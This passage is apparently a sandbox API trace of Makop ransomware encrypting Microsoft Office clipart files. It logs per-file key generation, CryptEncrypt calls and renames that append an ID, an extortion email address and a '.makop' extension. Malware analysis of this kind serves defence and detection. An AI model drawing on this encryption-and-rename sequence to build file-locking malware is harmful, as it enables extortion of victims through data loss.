1 [0125.397] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.397] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.398] GetProcessHeap () returned 0x48a0000 [0125.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.398] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.398] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.398] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.398] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.398] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.398] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.399] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.399] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.399] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x812c, lpOverlapped=0x0) returned 1 [0125.401] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8130, dwBufLen=0x8130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8130) returned 1 [0125.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.402] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8130, lpOverlapped=0x0) returned 1 [0125.402] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.402] SetEndOfFile (hFile=0xf0) returned 1 [0125.410] GetProcessHeap () returned 0x48a0000 [0125.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.410] GetProcessHeap () returned 0x48a0000 [0125.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.410] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.412] CloseHandle (hObject=0xf0) returned 1 [0125.412] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0125.412] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0125.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.413] GetProcessHeap () returned 0x48a0000 [0125.413] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.413] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.420] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.420] GetProcessHeap () returned 0x48a0000 [0125.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.420] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.420] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.422] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.422] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x778, lpOverlapped=0x0) returned 1 [0125.422] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780, dwBufLen=0x780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780) returned 1 [0125.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x780, lpOverlapped=0x0) returned 1 [0125.423] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.423] SetEndOfFile (hFile=0xf0) returned 1 [0125.430] GetProcessHeap () returned 0x48a0000 [0125.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.430] GetProcessHeap () returned 0x48a0000 [0125.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.430] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.432] CloseHandle (hObject=0xf0) returned 1 [0125.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0125.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0125.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.432] GetProcessHeap () returned 0x48a0000 [0125.433] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.433] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.437] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.437] GetProcessHeap () returned 0x48a0000 [0125.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.437] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.438] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.438] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.439] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.439] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ea8, lpOverlapped=0x0) returned 1 [0125.440] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1eb0, dwBufLen=0x1eb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1eb0) returned 1 [0125.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1eb0, lpOverlapped=0x0) returned 1 [0125.441] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.441] SetEndOfFile (hFile=0xf0) returned 1 [0125.448] GetProcessHeap () returned 0x48a0000 [0125.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.448] GetProcessHeap () returned 0x48a0000 [0125.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.448] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.450] CloseHandle (hObject=0xf0) returned 1 [0125.450] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0125.450] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0125.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.453] GetProcessHeap () returned 0x48a0000 [0125.453] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.453] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.458] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.458] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.458] GetProcessHeap () returned 0x48a0000 [0125.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.458] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.458] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.459] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.459] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.460] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.460] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.460] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fc8, lpOverlapped=0x0) returned 1 [0125.461] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0) returned 1 [0125.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fd0, lpOverlapped=0x0) returned 1 [0125.462] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.462] SetEndOfFile (hFile=0xf0) returned 1 [0125.469] GetProcessHeap () returned 0x48a0000 [0125.469] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.469] GetProcessHeap () returned 0x48a0000 [0125.469] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.469] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.471] CloseHandle (hObject=0xf0) returned 1 [0125.471] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0125.471] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0125.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.472] GetProcessHeap () returned 0x48a0000 